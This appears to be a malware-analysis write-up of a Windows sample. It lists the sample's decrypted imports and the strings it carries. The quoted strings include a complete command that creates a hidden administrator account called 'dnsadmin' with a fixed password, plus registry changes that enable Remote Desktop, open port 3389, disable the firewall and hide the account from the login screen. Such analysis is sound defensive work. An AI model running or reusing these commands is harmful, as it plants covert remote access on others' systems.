Sample 42faac51f5bc73cfb10099850de5fc5bf18a3

Decrypted strings from 42faac51f5bc73cfb10099850de5fc5bf18a31c1 and how sample modified my system

Here you can find more samples found with yara rule: https://pastebin.com/7M1DWqGq

Decrypted and loaded APIs:

.data:0040CF00 RegQueryValueExA dd offset advapi32_RegQueryValueExA
.data:0040CF04 RegSetValueExA  dd offset advapi32_RegSetValueExA
.data:0040CF08 RegCloseKey     dd offset advapi32_RegCloseKey
.data:0040CF0C RegOpenKeyExA   dd offset advapi32_RegOpenKeyExA
.data:0040CF10 RegCreateKeyExA dd offset advapi32_RegCreateKeyExA
.data:0040CF14 RegCreateKeyA   dd offset advapi32_RegCreateKeyA
.data:0040CF18 WinExec         dd offset kernel32_WinExec
.data:0040CF1C GetWindowsDirectoryA dd offset kernel32_GetWindowsDirectoryA
.data:0040CF20 Sleep           dd offset kernel32_Sleep
.data:0040CF24 GetModuleHandleW dd offset kernel32_GetModuleHandleW
.data:0040CF28 LoadLibraryW    dd offset kernel32_LoadLibraryW
.data:0040CF2C GetProcAddress_0 dd offset kernel32_GetProcAddress


Some of the decrypted strings (commands and more stuff):

C:\WINDOWS\System32\cmd.exe /c C:&cd\&cd windows&cd system32&net user dnsadmin waldo1215! /add&net user dnsadmin /FULLNAME:"DNS Host Account" /COMMENT:"built in the DNS subsystem." /EXPIRES:NEVER/Active:YES&net localgroup users dnsadmin /delete&net localgroup Administrators dnsadmin /add&net localgroup "Network Configurati on Operators" dnsadmin /add&net localgroup "Power Users" dnsadmin /add&exit

(Creates the file)
C:\WINDOWS\system32\GroupPolicy\Machine\Registry.pol

(File content)
REGISTRY KEY,REGISTRY VALUE,VALUE TYPE,DATA
SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services,MaxInstanceCount,REG_DWORD,"00000007"
SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services,fDenyTSConnections,REG_DWORD,"00000000"


Those will be registry values changed from HKEY_LOCAL_MACHINE

Register = SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services
	fDenyTSConnections = 0
	MaxInstanceCount = 7
Register = SYSTEM\CurrentControlSet\Control\Terminal Server
	fDenyTSConnections = 0
	fSingleSessionPerUser = 0
Register = SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List
	3389:TCP = 3389:TCP:*:Enabled:@xpsp2res.dll,-22009
Register = SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
	EnableFirewall = 0
Register = SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core
	EnableConcurrentSessions = 1
	PolicyAcOff = 5
Register = SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
	EnableConcurrentSessions = 1
	AllowMultipleTSSessions = 1
Register = SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
	dnsadmin = 0